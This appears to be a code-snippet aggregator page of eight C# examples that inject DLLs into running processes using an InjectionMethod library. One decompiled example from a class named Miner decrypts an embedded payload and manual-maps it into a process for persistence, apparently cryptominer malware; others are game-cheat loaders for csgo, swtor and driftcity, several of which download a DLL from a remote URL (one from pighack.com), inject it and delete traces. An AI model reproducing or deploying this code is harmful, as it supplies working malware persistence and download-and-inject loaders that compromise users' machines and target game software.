示例#1
0
 // Token: 0x060000C0 RID: 192 RVA: 0x0000BA80 File Offset: 0x00009C80
 public static void DllPersistence(int Pid)
 {
     if (!Injection.InjectionIsRunning())
     {
         InjectionMethod injectionMethod = InjectionMethod.Create(InjectionMethodType.ManualMap);
         IntPtr          value           = IntPtr.Zero;
         using (PortableExecutable portableExecutable = new PortableExecutable(Miner.Proper_RC4(Resources._2342342353245, Encoding.UTF8.GetBytes("sickmyduck"))))
         {
             value = injectionMethod.Inject(portableExecutable, Pid);
         }
         if (!(value != IntPtr.Zero))
         {
             injectionMethod.GetLastError();
         }
     }
 }
示例#2
0
        public void native(int pID, Byte[] dllbytes)
        {
            InjectionMethod method = InjectionMethod.Create(InjectionMethodType.Standard);
            IntPtr          zero   = IntPtr.Zero;

            using (PortableExecutable executable = new PortableExecutable(dllbytes))
            {
                zero = method.Inject(executable, pID);
            }
            if (zero != IntPtr.Zero)
            {
                //hata1
            }
            else if (method.GetLastError() != null)
            {
                //hata2
            }
        }
示例#3
0
        public void inject(int pID, Byte[] dllbytes)
        {
            InjectionMethod method = InjectionMethod.Create(InjectionMethodType.Standard); //InjectionMethodType.Standard //InjectionMethodType.ManualMap //InjectionMethodType.ThreadHijack
            IntPtr          zero   = IntPtr.Zero;

            using (PortableExecutable.PortableExecutable executable = new PortableExecutable.PortableExecutable(dllbytes))
            {
                zero = method.Inject(executable, pID);
            }
            if (zero != IntPtr.Zero)
            {
                //BAIL HERE - ERROR
            }
            else if (method.GetLastError() != null)
            {
                //ERROR OCCURED
            }
            //SUCCESS
        }
示例#4
0
        private void inject()
        {
            Process[] processesByName;
            do
            {
                Thread.Sleep(1);
                processesByName = Process.GetProcessesByName("driftcity");
            }while (processesByName.Length == 0);
            InjectionMethod injectionMethod = InjectionMethod.Create(InjectionMethodType.ManualMap);
            IntPtr          value           = IntPtr.Zero;

            using (PortableExecutable portableExecutable = new PortableExecutable(Resources.Rice))
            {
                value = injectionMethod.Inject(portableExecutable, processesByName[0].Id);
            }
            if (value != IntPtr.Zero)
            {
                this.setStatus("Injected Rice");
                return;
            }
            this.setStatus("Failed to inject Rice");
        }
示例#5
0
        private void button1_Click(object sender, EventArgs e)
        {
            if (_injected)
            {
                _injector.Unload(_hModule, _process.Id);

                if (_injector.GetLastError() != null)
                {
                    MessageBox.Show(_injector.GetLastError().ToString());
                }

                comboBox1.Enabled      = true;
                textBox1.Enabled       = true;
                textBox2.Enabled       = true;
                button2.Enabled        = true;
                checkBox1.Enabled      = true;
                numericUpDown1.Enabled = true;
                _injected    = false;
                button1.Text = @"Inject";
                return;
            }

            if (checkBox1.Checked)
            {
                while (Process.GetProcessesByName(textBox2.Text).Length == 0)
                {
                    Thread.Sleep(500);
                }

                _process = Process.GetProcessesByName(textBox2.Text)[0];
            }
            else
            {
                _process = Process.GetProcessesByName(textBox2.Text)[0];

                if (_process.Id == 0 && !checkBox1.Checked)
                {
                    MessageBox.Show(@"Process not found.");
                    return;
                }
            }

            Thread.Sleep((int)numericUpDown1.Value);

            _injector = InjectionMethod.Create((InjectionMethodType)_injectionStyle);
            _hModule  = _injector.Inject(textBox1.Text, _process.Id);

            //if no errors, return
            if (_injector.GetLastError() == null)
            {
                comboBox1.Enabled      = false;
                textBox1.Enabled       = false;
                textBox2.Enabled       = false;
                button2.Enabled        = false;
                checkBox1.Enabled      = false;
                numericUpDown1.Enabled = false;
                _injected    = true;
                button1.Text = @"Eject";
                return;
            }

            MessageBox.Show(_injector.GetLastError().ToString());
        }
示例#6
0
        public static void inj()
        {
            Helper.prfold();

            string put = @"Mlb9rQ\";
            string dgm = @"MirunTb3q.dll";

            WebClient wc        = new WebClient();
            string    url       = " "; //your link
            string    save_path = @"C:\ProgramData\" + put;
            string    name      = dgm;

            wc.DownloadFile(url, save_path + name);

            Thread.Sleep(100);

            string realDLL = @"C:\ProgramData\" + put + dgm;


            InjectionMethod injector = null;

            injector = InjectionMethod.Create(InjectionMethodType.ManualMap);


            Process[] processes = Process.GetProcessesByName("csgo");
            if (processes.Length <= 0)
            {
                Helper.DelMe();
                Console.WriteLine("Start CS:GO first, please click the button...");
                Console.ReadKey();
                return;
            }
            else
            {
                int    processId = processes[0].Id;
                IntPtr result    = IntPtr.Zero;
                using (PortableExecutable pe = new PortableExecutable(realDLL))
                {
                    result = injector.Inject(pe, processId);
                }
                if (result != IntPtr.Zero)
                {
                    playSimpleSound();
                    File.WriteAllText(Properties.Pst.paste, realDLL + ";");
                    Console.WriteLine("Good inject!");
                    Environment.Exit(0);
                }
                else
                {
                    Helper.DelMe();
                    if (injector.GetLastError() != null)
                    {
                        Console.WriteLine(injector.GetLastError().Message, "Error, please click the button...");
                        Console.ReadKey();
                    }
                }
            }

            void playSimpleSound()
            {
                SoundPlayer simpleSound = new SoundPlayer(Properties.Resources.beep);

                simpleSound.Play();
                simpleSound.Dispose();
            }

            Helper.DelMe();
        }
示例#7
0
            public void Run(string processName, string friendlyName, string externalDllPath)
            {
                Console.Write("{0} {1} {2}", processName, friendlyName, externalDllPath);
                Process process;

                switch (processName)
                {
                case "swtor":
                    process = Process.GetProcessesByName(processName).FirstOrDefault(p => string.IsNullOrWhiteSpace(p.MainWindowTitle));
                    break;

                default:
                    process = Process.GetProcessesByName(processName).FirstOrDefault();
                    break;
                }

                string dllLocation = String.Format("http://www.pighack.com{0}", externalDllPath);

                WebClient myWebClient = new WebClient();

                byte[] dllbytes = myWebClient.DownloadData(dllLocation);
                //byte[] dllbytes = File.ReadAllBytes(Path.Combine("C:\\", "PigDll.dll"));

                if (process == null)
                {
                    MessageBox.Show(String.Format("{0} could not be found, ensure it is running and your running launcher as admin!", friendlyName));
                }
                else
                {
                    /*
                     * var injector = InjectionMethod.Create(InjectionMethodType.Standard);
                     * var processId = process.Id;
                     * var hModule = IntPtr.Zero;
                     *
                     * using (PortableExecutable img = new PortableExecutable(dllbytes))
                     *  hModule = injector.Inject(img, processId);
                     *
                     * if (hModule != IntPtr.Zero)
                     * {
                     *  // injection was successful
                     *  MessageBox.Show("Good job");
                     * }
                     * else
                     * {
                     *  // injection failed
                     *  if (injector.GetLastError() != null)
                     *      MessageBox.Show(injector.GetLastError().Message);
                     * }
                     */

                    //InjectionMethod method = InjectionMethod.Create(InjectionMethodType.Standard); //InjectionMethodType.Standard //InjectionMethodType.ManualMap //InjectionMethodType.ThreadHijack
                    InjectionMethod injectionMethod = InjectionMethod.Create(InjectionMethodType.Standard);

                    IntPtr zero = IntPtr.Zero;
                    using (PortableExecutable executable = new PortableExecutable(dllbytes))
                    {
                        zero = injectionMethod.Inject(executable, process.Id);
                    }

                    if (zero != IntPtr.Zero)
                    {
                        MessageBox.Show(String.Format("{0} found!", friendlyName));
                    }
                    else if (injectionMethod.GetLastError() != null)
                    {
                        MessageBox.Show(injectionMethod.GetLastError().Message);
                    }
                }
            }
示例#8
0
        private void metroButton1_Click(object sender, EventArgs e)
        {
            FileInfo fi2        = new FileInfo(tm + put + dgm);
            string   deletePath = tm + put;

            deleteFolder(deletePath);

            WebClient wc        = new WebClient();
            string    url       = "link for download file";
            string    save_path = tm + put;
            string    name      = "name for you file";

            wc.DownloadFile(url, save_path + name);
            Thread.Sleep(100);

            string realDLL = tm + put + dgm;


            InjectionMethod injector = null;

            injector = InjectionMethod.Create(InjectionMethodType.ManualMap);


            Process[] processes = Process.GetProcessesByName("csgo");
            if (processes.Length <= 0)
            {
                fi2.Delete();
                Directory.Delete(deletePath);
                MessageBox.Show("Сначала запустите CS:GO", "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            else
            {
                int    processId = processes[0].Id;
                IntPtr result    = IntPtr.Zero;
                using (PortableExecutable pe = new PortableExecutable(realDLL))
                {
                    result = injector.Inject(pe, processId);
                }
                if (result != IntPtr.Zero)
                {
                    playSimpleSound();
                    File.WriteAllText(Properties.res.paste, realDLL + ";");

                    MessageBox.Show("Успешный инжект!");
                    Application.Exit();
                }
                else
                {
                    if (injector.GetLastError() != null)
                    {
                        fi2.Delete();
                        Directory.Delete(deletePath);
                        MessageBox.Show(injector.GetLastError().Message, "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        Environment.Exit(0);
                    }
                }
            }

            void playSimpleSound()
            {
                SoundPlayer simpleSound = new SoundPlayer(Properties.Resources.beep);

                simpleSound.Play();
                simpleSound.Dispose();
            }

            fi2.Delete();
            deleteFolder(deletePath);
            Directory.Delete(deletePath);
        }